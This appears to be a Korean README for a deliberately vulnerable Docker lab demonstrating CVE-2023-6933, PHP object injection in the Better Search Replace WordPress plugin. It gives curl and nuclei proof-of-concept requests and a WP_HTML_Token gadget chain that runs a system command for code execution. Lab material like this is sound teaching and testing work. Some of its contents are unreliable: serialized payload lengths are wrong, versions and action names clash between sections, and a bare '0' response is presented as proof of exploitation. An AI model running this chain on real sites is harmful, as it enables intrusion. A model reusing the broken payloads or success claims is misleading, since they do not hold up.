CVE-2023-6933 취약점 연구소

개요

이 연구소 환경은 Better Search Replace WordPress 플러그인 버전 ≤1.4.4의 심각한 PHP 객체 주입 취약점인 CVE-2023-6933을 시연합니다.

취약점 상세

• CVE ID: CVE-2023-6933
• CVSS 점수: 9.8 (심각)
• 영향 받는 플러그인: Better Search Replace ≤1.4.4
• 취약점 유형: 직렬화 해제된 사용자 입력을 통한 PHP 객체 주입
• 공격 벡터: AJAX 엔드포인트 /wp-admin/admin-ajax.php (action: search_replace_db)

빠른 시작

1. 연구소 배포

# 저장소 클론
git clone https://github.com/Trex96/vulnerable-bsr-lab-CVE-2023-6933.git
cd vulnerable-bsr-lab-CVE-2023-6933

# Docker Hub 이미지 사용 배포 (자동 pull)
docker-compose up -d

연구소가 자동으로 다음을 수행합니다:

• Docker Hub에서 취약한 WordPress 이미지 pull (trex999/vulnerable-bsr-lab:latest)
• MySQL 및 phpMyAdmin과 함께 WordPress 설정
• 취약한 Better Search Replace 플러그인 (v1.4.4) 설치 및 활성화
• 약 60초 내에 설치 완료

2. 환경 접속

• WordPress: http://localhost:8080
• 관리자 패널: http://localhost:8080/wp-admin (admin/admin123)
• phpMyAdmin: http://localhost:8081 (root/rootpassword)

3. 취약점 테스트

# 자동화 PoC 실행
nuclei -t nuclei-templates/cve-2023-6933.yaml -target http://localhost:8080 -v

# curl을 통한 수동 테스트
curl -X POST "http://localhost:8080/wp-admin/admin-ajax.php" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d 'action=search_replace_db&search_for=O:8:"stdClass":1:{s:6:"marker";s:34:"nuclei_test_payload_demonstration";}&replace_with=test'

기술 분석

취약점

Better Search Replace 플러그인은 AJAX 핸들러에 PHP 객체 주입 취약점을 포함하고 있습니다. 취약점은 다음과 같은 상황에서 발생합니다:

1. 사용자 입력이 POST를 통해 search_for 매개변수로 /wp-admin/admin-ajax.php에 전달됨
2. action이 search_replace_db로 설정됨
3. 입력에 직렬화된 PHP 객체가 포함되어 있으며, 적절한 검증 없이 역직렬화됨
4. 이로 인해 임의 객체 인스턴스화 및 잠재적 코드 실행 가능

PoC 검증 방법

nuclei 템플릿은 여러 검증 단계를 통해 취약점을 시연합니다:

1. 플러그인 탐지: 취약한 플러그인 버전 존재 확인
2. 객체 주입 테스트: 직렬화된 페이로드를 전송하고 응답 분석
3. 동작 검증: 객체 역직렬화 처리 성공 확인

이 연구소의 주요 기능

• 오류 의존성 없음: PoC는 오류 메시지가 아닌 동작 분석을 통해 실제 취약점을 시연
• 기능적 테스트: 시스템 손상 없이 역직렬화를 확인하기 위해 안전한 직렬화 객체 사용
• 자동화된 배포: 수동 설정 없이 완전한 연구소 구성
• 다중 테스트 방법: 자동화된 nuclei 템플릿과 수동 curl 명령어 모두 제공

문서

빠른 참조

• README.md: 이 파일 — 빠른 시작 및 개요
• CVE-2023-6933_POC_DOCUMENTATION.md: 상세한 PoC 분석이 포함된 완전한 기술 문서
• POC_TEMPLATE_SUMMARY.md: 요구 사항 준수 및 전달 확인

전문 PoC 템플릿

nuclei 템플릿 (nuclei-templates/cve-2023-6933.yaml)은 전문적으로 구성되었습니다:

• 과도한 주석이 없는 깔끔한 코드
• 별도 파일에 종합적인 기술 문서
• 프로덕션 준비 템플릿 형식
• 보안 연구 표준 완전 준수

테스트 결과

PoC 실행 성공

$ nuclei -t nuclei-templates/cve-2023-6933.yaml -target http://localhost:8080 -v

[CVE-2023-6933:plugin_version] [http] [critical] http://localhost:8080/wp-content/plugins/better-search-replace/README.txt ["trunk"]
[CVE-2023-6933:tested_up_to] [http] [critical] http://localhost:8080/wp-content/plugins/better-search-replace/README.txt ["6.4"]
[CVE-2023-6933:response_content] [http] [critical] http://localhost:8080/wp-admin/admin-ajax.php ["0"]
[CVE-2023-6933:poc_verification] [http] [critical] http://localhost:8080/wp-admin/admin-ajax.php ["0"]

[INF] Scan completed in 67ms. 4 matches found.

PoC가 성공적으로:

• ✅ 취약한 플러그인 버전 탐지
• ✅ 응답 분석을 통한 객체 주입 능력 확인
• ✅ 오류 의존성 없이 기능적 취약점 시연
• ✅ 성공적인 역직렬화에 대한 동작 검증 제공

보안 공지

⚠️ 경고: 이 환경은 의도적으로 취약한 소프트웨어를 포함하고 있습니다. 격리된 테스트 환경에서만 사용하십시오. 프로덕션 또는 인터넷 접근 가능 시스템에 배포하지 마십시오.

정리

docker-compose down -v

참고 자료

• CVE-2023-6933 상세 정보
• Better Search Replace 플러그인
• PHP 객체 주입 문서

교육 및 보안 연구 목적으로 제작됨

Docker 환경 (Docker_LAB_SETUP/)

• WordPress 6.4.0 — 취약한 Better Search Replace 1.4.3 포함
• MySQL 8.0 데이터베이스 서버
• phpMyAdmin 데이터베이스 관리
• 사전 구성된 취약 환경

익스플로잇 스크립트

• cve_2023_6933_exploit.php — 포괄적인 PHP 익스플로잇 툴킷
• wp_html_token_poc.php — WordPress 6.4.0+ RCE 시연
• bsr_direct_exploit.php — 직접 취약점 테스트

탐지 도구

• nuclei-templates/cve-2023-6933.yaml — 고급 nuclei 템플릿
• manual-test.sh — 포괄적인 수동 테스트 스크립트

🎯 올바른 익스플로잇 방법론

이 연구소는 취약점 연구의 모범 사례를 따라 오류 기반이 아닌 탐지를 시연합니다:

1. 성공 기반 탐지

HTTP 500 오류에 의존하는 대신, 도구는 다음을 탐지합니다:

• 페이로드 처리 성공
• 직렬화된 객체 역직렬화
• 애플리케이션 응답 패턴
• 기능적 익스플로잇 증거

2. WP_HTML_Token RCE 체인

WordPress 6.4.0+의 WP_HTML_Token 클래스를 활용한 실제 RCE:

O:13:"WP_HTML_Token":4:{
    s:13:"bookmark_name";s:14:"touch /tmp/rce";
    s:9:"node_name";s:8:"testnode";
    s:21:"has_self_closing_flag";b:0;
    s:10:"on_destroy";s:6:"system";
}

3. 다중 공격 벡터

• AJAX 엔드포인트 익스플로잇 (admin-ajax.php)
• 직접 플러그인 인터페이스 조작
• 검색/바꾸기 작업을 통한 데이터베이스 주입

🔬 테스트 접근 방식

수동 테스트

# 기본 플러그인 존재 확인
curl "http://localhost:8080/wp-content/plugins/better-search-replace/readme.txt"

# 안전한 페이로드로 취약점 테스트
curl -X POST "http://localhost:8080/wp-admin/admin-ajax.php" \
  -d "action=bsr_search_replace&search_for=O:8:\"stdClass\":1:{s:4:\"test\";s:8:\"nuclei\";}&replace_with=safe&select_tables[]=wp_posts&dry_run=1"

Nuclei 템플릿 기능

• 다중 벡터 테스트: 5개의 서로 다른 HTTP 요청
• 성공 기반 매처: 오류가 아닌 기능적 처리를 찾음
• 포괄적 추출: 버전 탐지, 응답 분석
• 안전한 페이로드: 비파괴적 테스트 접근 방식

수동 테스트 기능

• 플러그인 버전 탐지 및 검증
• 다중 페이로드 생성 및 테스트
• WP_HTML_Token RCE 시연
• 포괄적인 취약점 검증

📊 연구소 접근 포인트

🛡️ 보안 고려 사항

연구자를 위해

• 이는 의도적으로 취약한 환경입니다.
• 격리된/제어된 네트워크에서만 사용하십시오.
• 프로덕션 환경용이 아닙니다.
• 교육 목적으로만 사용하십시오.

방어자를 위해

• Better Search Replace를 ≥ 1.4.5로 업데이트하십시오.
• 직렬화된 데이터에 대한 WAF 규칙을 구현하십시오.
• 객체 주입 패턴을 모니터링하십시오.
• WordPress 플러그인의 정기적인 보안 감사를 수행하십시오.

📚 교육적 가치

이 연구소는 다음에 대한 실습 경험을 제공합니다:

• PHP 객체 주입 취약점
• WordPress 플러그인 보안 분석
• 직렬화/역직렬화 공격
• 가젯 체인 익스플로잇
• 취약점 탐지 자동화
• 보안 테스트 방법론

저자: Trex
연구소 버전: 2.0 - 개선된 PoC 방법론